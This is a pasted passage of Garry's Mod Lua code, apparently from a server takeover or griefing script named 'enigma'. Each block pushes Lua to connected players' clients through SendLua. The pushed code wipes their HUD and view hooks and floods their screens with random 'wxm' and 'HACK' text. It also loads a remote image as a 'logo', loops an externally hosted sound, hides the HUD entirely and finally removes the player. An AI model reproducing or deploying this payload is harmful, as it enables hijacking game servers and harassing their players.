  882. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  883. enigmalaunchproject:SendLua( pPlayer, [[
  884.  
  885. (GAMEMODE or GM).CalcView = function() end
  886. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  887.  
  888. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  889. for k, v in pairs(remove) do
  890. hook.GetTable()[v] = {}
  891. end
  892.  
  893. local function GetWebMat( strURL )
  894. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  895. end
  896.  
  897. hook.Add( "HUDPaint", "hud7enigma", function()
  898. surface.SetDrawColor( 255, 255, 255, 255 )
  899.  
  900. draw.SimpleTextOutlined(
  901. "wxm",
  902. "DermaLarge",
  903. ScrW() /2 +math.random( -700, 700 ),
  904. ScrH() /2 +math.random( -700, 700 ) +300,
  905. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  906. TEXT_ALIGN_CENTER,
  907. TEXT_ALIGN_CENTER,
  908. 1,
  909. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  910. )
  911. end )
  912. ]] )
  913. end )
  914.  
  915. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  916. enigmalaunchproject:SendLua( pPlayer, [[
  917.  
  918. (GAMEMODE or GM).CalcView = function() end
  919. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  920.  
  921. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  922. for k, v in pairs(remove) do
  923. hook.GetTable()[v] = {}
  924. end
  925.  
  926. local function GetWebMat( strURL )
  927. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  928. end
  929.  
  930. hook.Add( "HUDPaint", "hud10enigma", function()
  931. surface.SetDrawColor( 255, 255, 255, 255 )
  932.  
  933. draw.SimpleTextOutlined(
  934. "wxm",
  935. "DermaLarge",
  936. ScrW() /2 +math.random( -800, 800 ),
  937. ScrH() /2 +math.random( -800, 800 ) -400,
  938. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  939. TEXT_ALIGN_CENTER,
  940. TEXT_ALIGN_CENTER,
  941. 1,
  942. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  943. )
  944. end )
  945. ]] )
  946. end )
  947.  
  948. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  949. enigmalaunchproject:SendLua( pPlayer, [[
  950.  
  951. (GAMEMODE or GM).CalcView = function() end
  952. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  953.  
  954. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  955. for k, v in pairs(remove) do
  956. hook.GetTable()[v] = {}
  957. end
  958.  
  959. local function GetWebMat( strURL )
  960. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  961. end
  962.  
  963. hook.Add( "HUDPaint", "hud12enigma", function()
  964. surface.SetDrawColor( 255, 255, 255, 255 )
  965.  
  966. draw.SimpleTextOutlined(
  967. "wxm",
  968. "DermaLarge",
  969. ScrW() /2 +math.random( -850, 850 ),
  970. ScrH() /2 +math.random( -850, 850 ) +100,
  971. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  972. TEXT_ALIGN_CENTER,
  973. TEXT_ALIGN_CENTER,
  974. 1,
  975. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  976. )
  977. end )
  978. ]] )
  979. end )
  980.  
  981. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  982. enigmalaunchproject:SendLua( pPlayer, [[
  983.  
  984. (GAMEMODE or GM).CalcView = function() end
  985. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  986.  
  987. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  988. for k, v in pairs(remove) do
  989. hook.GetTable()[v] = {}
  990. end
  991.  
  992. local function GetWebMat( strURL )
  993. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  994. end
  995.  
  996. hook.Add( "HUDPaint", "hud1enigma", function()
  997. surface.SetDrawColor( 255, 255, 255, 255 )
  998.  
  999. draw.SimpleTextOutlined(
  1000. "wxm",
  1001. "DermaLarge",
  1002. ScrW() /2 +math.random( -300, 600 ),
  1003. ScrH() /2 +math.random( -600, 300 ) +200,
  1004. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1005. TEXT_ALIGN_CENTER,
  1006. TEXT_ALIGN_CENTER,
  1007. 1,
  1008. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1009. )
  1010. end )
  1011. ]] )
  1012. end )
  1013.  
  1014. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1015. enigmalaunchproject:SendLua( pPlayer, [[
  1016.  
  1017. (GAMEMODE or GM).CalcView = function() end
  1018. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1019.  
  1020. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1021. for k, v in pairs(remove) do
  1022. hook.GetTable()[v] = {}
  1023. end
  1024.  
  1025. local function GetWebMat( strURL )
  1026. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1027. end
  1028.  
  1029. hook.Add( "HUDPaint", "hud1enigma", function()
  1030. surface.SetDrawColor( 255, 255, 255, 255 )
  1031.  
  1032. draw.SimpleTextOutlined(
  1033. "wxm",
  1034. "HACK",
  1035. ScrW() /2 +math.random( -300, 600 ),
  1036. ScrH() /2 +math.random( -600, 300 ) +200,
  1037. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1038. TEXT_ALIGN_CENTER,
  1039. TEXT_ALIGN_CENTER,
  1040. 1,
  1041. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1042. )
  1043. end )
  1044. ]] )
  1045. end )
  1046.  
  1047.  
  1048. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  1049. enigmalaunchproject:SendLua( pPlayer, ([=[
  1050.  
  1051. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[ = {}
  1052. local html = [[%s]]
  1053. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  1054. local pnl = vgui.Create( "HTML" )
  1055. pnl:SetPos( ScrW() -1, ScrH() -1 )
  1056. pnl:SetVisible( true )
  1057. pnl:SetMouseInputEnabled( false )
  1058. pnl:SetKeyBoardInputEnabled( false )
  1059. pnl:SetSize( intSizeX, intSizeY )
  1060. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  1061.  
  1062. local PageLoaded
  1063. PageLoaded = function()
  1064. local mat = pnl:GetHTMLMaterial()
  1065. if mat then
  1066. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  1067. return
  1068. end
  1069.  
  1070. timer.Simple( 0.5, PageLoaded )
  1071. end
  1072.  
  1073. PageLoaded()
  1074. end
  1075.  
  1076. LoadWebMaterial( "https://upload.wikimedia.org/wikipedia/commons/thumb/e/e3/Emmanuel_Macron_in_Tallinn_Digital_Summit._Welcome_dinner_hosted_by_HE_Donald_Tusk._Handshake_%2836669381364%29_%28cropped_2%29.jpg/220px-Emmanuel_Macron_in_Tallinn_Digital_Summit._Welcome_dinner_hosted_by_HE_Donald_Tusk._Handshake_%2836669381364%29_%28cropped_2%29.jpg", "EnigmaLogo", 1000, 1000 )
  1077. ]=]):format(lol.m_strImageLoadHTML) )
  1078. end )
  1079.  
  1080. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  1081. enigmalaunchproject:SendLua( pPlayer, [[
  1082. (GAMEMODE or GM).CalcView = function() end
  1083. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1084.  
  1085. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1086. for k, v in pairs(remove) do
  1087. hook.GetTable()[v] = {}
  1088. end
  1089.  
  1090. local function GetWebMat( strURL )
  1091. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1092. end
  1093.  
  1094. hook.Add( "HUDPaint", "EnigmaLogoHUD", function()
  1095. surface.SetDrawColor( 255, 255, 255, 255 )
  1096.  
  1097. if GetWebMat( "EnigmaLogo" ) then
  1098. surface.SetMaterial( GetWebMat("EnigmaLogo")[1] )
  1099. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  1100. end
  1101. end )
  1102.  
  1103. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  1104. hook.Add( "HUDShouldDraw", "EnigmaLogoHUD", function( str ) if not allowed[str] then return false end end )
  1105.  
  1106. surface.PlaySound( "garrysmod/save_load4.wav" )
  1107. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  1108. ]] )
  1109. end )
  1110.  
  1111. lol:PushAction( 175, function( pPlayer )
  1112. lol:SendLua( pPlayer, [[
  1113. surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  1114.  
  1115. local sounds = {}
  1116. for i = 1, 4 do
  1117. sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
  1118. sounds[#sounds +1] = pChan
  1119. end )
  1120. end
  1121.  
  1122. timer.Create( "asdf", 1, 0, function()
  1123. if #sounds ~= 4 then return end
  1124. timer.Destroy( "asdf" )
  1125. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  1126. end )
  1127.  
  1128. hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  1129. ]] )
  1130.  
  1131. pPlayer:Remove()
  1132. end )
Advertisement
Add Comment
Please, Sign In to add comment